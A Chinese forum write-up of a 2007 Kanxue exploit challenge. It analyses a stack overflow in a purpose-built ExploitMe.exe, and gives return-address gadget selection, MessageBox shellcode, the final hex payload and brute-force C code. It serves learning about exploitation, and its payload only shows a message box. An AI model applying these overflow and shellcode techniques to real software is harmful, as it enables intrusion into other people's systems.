首页
社区
课程
招聘
[分享]2007看雪金山2-1详解
发表于: 2012-1-3 12:22 4657

[分享]2007看雪金山2-1详解

2012-1-3 12:22
4657
【文章标题】: 2007看雪金山2-1详解
【文章作者】: 柳州小林
【作者邮箱】: 55713720@qq.com
【作者QQ号】: 55713720
【下载地址】: http://bbs.pediy.com/showthread.php?t=50554
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  1、题目说是用溢出,所以分析程序,找溢出点。
  OD载入程序,看到是标准的WIN32对话窗,4003BF是消息循环。跟上,看到一句cmp eax,3E8,是按键消息,call 4002F6
  是就是要分析的。流程是这样:
  
  call 00400480 是否有文件
  文件要大于8小于0x1000
  用VirtualAlloc申请一个内存
  call 00400510 读取文件并复制到申请的内存空间
  call 00400280 溢出点
  错误提示
  call 004004D0 关闭文件句柄
  VirtualFree 释放内存
  
  分析 call 00400280:
  
  call 004005C0
  call 00400540 .txt前8位字节运算2次
  4002CC~4002D7 .txt前8位字节异或
  4002D9~4002E7 运算得ECX(循环次数)
  4002EE        溢出点
  
  2、溢出点是把.txt的内容覆盖栈,所以最后要用栈来过度到.txt内的代码
  3、溢出是用rep movs dword ptr es:[edi],dword ptr ds:[esi],循环次数看ECX
  ECX是多少看这里面:
  004002D9  |. 6A 1A          push 1A
  004002DB  |. 59             pop ecx
  004002DC  |. 2BC8           sub ecx,eax;  eax=400540的结果
  004002DE  |. 0FAFC8         imul ecx,eax
  004002E1  |. 81E9 9C000000  sub ecx,9C
  004002E7  |. 85C9           test ecx,ecx
  
  如果EAX大于0x1A,就会得负数,哪循环次数就太大了,所以EAX要小于0x1A,下面的0x9C也同理,应该大于9C,
  写个小循环来看看:
  int F3()
  {
    int tmp;
    for (int i=0;i<0x1b;i++)
    {
      tmp=(26*i)-(i*i);
      if (tmp>156)
      {
        printf("%02X\n",i);                       
      }
    }
  }
  结果 是0xA~0x10;就是说call 004005C0和call 00400540算出来的结果要在这个范围内.
  
  4、但到底是多少呢?,只要注意看栈的增减和内容就知道了,断在4002EB,从这看栈,ESP为12FA44,EBP为12FA78大小为0x34,
  看12FA7C是函数的返回地址,溢出应该是覆盖并替换这个地址,数一数12FA44到12FA7C的,15个DWORD,减去4002EE后面的两
  个POP和一个LEAVE,得13个DWORD,13=>0xD
  
  5、call 004005C0和call 00400540的算法虽然不复杂,但逆起来也不容易呀,所以我用穷举.这里用一下刚学会的,写一个程
  序,用MapAndLoad把ExploitMe.exe映射进该程序,直接调用就可以了.(代码后附)得出两个DWORD后还要异或0xC1(4002CC)看
  看,是否是可执行的汇编代码.最终得前8个字节:B533F3EF 00000000
  
  6、找新的返回地址
  要找到这个地址先要了解CALL的进入,返回和椎栈平衡,比我们看call 00400280
  
  小知识:
  CALL进入前,除了把参数压入栈,还会把返回地址也压入栈
  0040037C push eax                 push eax               0012FA7C   00400383 <=ESP
  0040037D push esi      可以看成=> push esi       栈==>   0012FA80   001F0000
  0040037E call 00400280            push 400838            0012FA84   00000047        
  00400383 pop ecx                  jmp 400280
  
  在CALL进入后,它会给自己分配一定的栈.
  00400280 push ebp     ;原EBP入栈
  00400281 mov ebp,esp  ;栈顶变栈底,并指向原EBP
  00400283 sub esp,2C   ;分配空间
  ....................
  
  在返回前,会用leave来平衡椎栈后,才返回
                                 lea esp,[ebp+4]
  004002F4 leave                 mov ebp,[ebp]            0012FA7C   00400383 <=ESP
  004002F5 retn   可以看成=>     pop eip          栈==>   0012FA80   001F0000 <=参数1
                                                          0012FA84   00000047 <=参数2
                                                         
  所以讲一般直接写成.txt的映射地址就可以,但这个映射地址是一个变量,怎样办呢?发现call 00400280的参数1就是映射地
  址,且和retn就差一个POP,也就是说再加一个retn命令可以跳到映射地址,并执行里面的代码.所以返回地址为4002F5.
  
  7、写.txt里面的代码,要求是用MessageBox显示OK!正常代码为
  
  push 0
  push OK!的地址
  push OK!的地址
  push 0
  call dword ptr ds:[40024C]
  
  现在的问题就是OK!的地址?,其实等效于push的命令也没有多少个,CALL就是一个,它在进入CALL之前会把它下一句的地
  址PUSH进入栈,所以这里面用call.
  
  小知识:
  call后的地址是相对地址,相对于当前地址加命令长度如:
  004003E2   . E8 0FFFFFFF    call 004002F6
  当前地址为4003E2,要跳到4002F6里面,这条命令占5个字节,所以要从4003E7算起,2F6-3E7=FFFFFF0F(-241)
  E8是call
  FFFFFF0F是相对地址
  所以这条命令是从该命令的下句地址向前走241个字节.
  
  得出代码如下:
  003C0009   6A 00            push 0
  003C000B   E8 04000000      call 003C0014
  003C0010   4F               dec edi
  003C0011   4B               dec ebx
  003C0012   2100             and dword ptr ds:[eax],eax
  003C0014   E8 04000000      call 003C001D
  003C0019   4F               dec edi
  003C001A   4B               dec ebx
  003C001B   2100             and dword ptr ds:[eax],eax
  003C001D   6A 00            push 0
  003C001F   FF15 4C024000    call dword ptr ds:[<&USER32.MessageBoxA>>; user32.MessageBoxA
  
  8、修正栈,让程序正常返回
  如果执行完以上代码就直接跳到400397的话,程序会崩溃,因为
  00400397  |. 8D4D F0        lea ecx,dword ptr ss:[ebp-10]
  0040039A  |. E8 31010000    call 004004D0
  这两句除了释放文件句柄外,还有检测溢出后椎栈是否平衡的作用.
  跟踪发现,ebp的值发生错误是在这里:
                                 lea esp,[ebp+4]
  004002F4 leave                 mov ebp,[ebp]
  004002F5 retn   可以看成=>     pop eip
  
  因为溢出时,把原EBP覆盖成0了,所以只要在.txt里加入这个EBP就可以(栈的进出次数是固定,所以可以使用绝对值).
  因为
  
  9、答案
  B5 33 F3 EF 00 00 00 00 00 6A 00 E8 04 00 00 00  ?.j.?...
  4F 4B 21 00 E8 04 00 00 00 4F 4B 21 00 6A 00 FF  OK!.?...OK!.j.
  15 4C 02 40 00 68 97 03 40 00 C3 00 A0 FA 12 00  L@.h?@.?狕.
  F5 02 40
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2012年01月03日 12:15:32

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 1596
活跃值: (30)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
穷举代码:
#include "stdafx.h"
#include <Windows.h>
#include <ImageHlp.h>
#pragma comment(lib,"ImageHlp.lib")
int _tmain(int argc, _TCHAR* argv[])
{
        LOADED_IMAGE EXEimage;
        DWORD F1=0x5c0;
        DWORD F2=0x540;
        DWORD LEAX=0;
        DWORD HEAX=0;
        DWORD JG=0;
        if(!MapAndLoad("ExploitMe.exe",0,&EXEimage,0,0))
        {
                MessageBox(0,"无法打开文件!",0,0);
                return -1;
        }       
        F2+=(DWORD)EXEimage.MappedAddress;
        F1+=(DWORD)EXEimage.MappedAddress;       
        for (HEAX=0;HEAX<0xFFFFFFFF;HEAX++)
        {
                for (LEAX=0;LEAX<0xFFFFFFFF;LEAX++)
                {
                        __asm
                        {
                                push 78cc02a8h
                                        push 69948f1bh
                                        push HEAX
                                        push LEAX
                                        call F1
                                        push 5BE6FF82h
                                        push 0A5164785h
                                        push edx     
                                        push eax     
                                        call F2
                                        mov JG,eax
                        }
                        if (JG==0xD)
                        {
                                printf("%08X_%08x\n",HEAX,LEAX);                               
                        }
                }
        }       
        return 0;
}
2012-1-3 12:24
0
游客
登录 | 注册 方可回帖
返回
//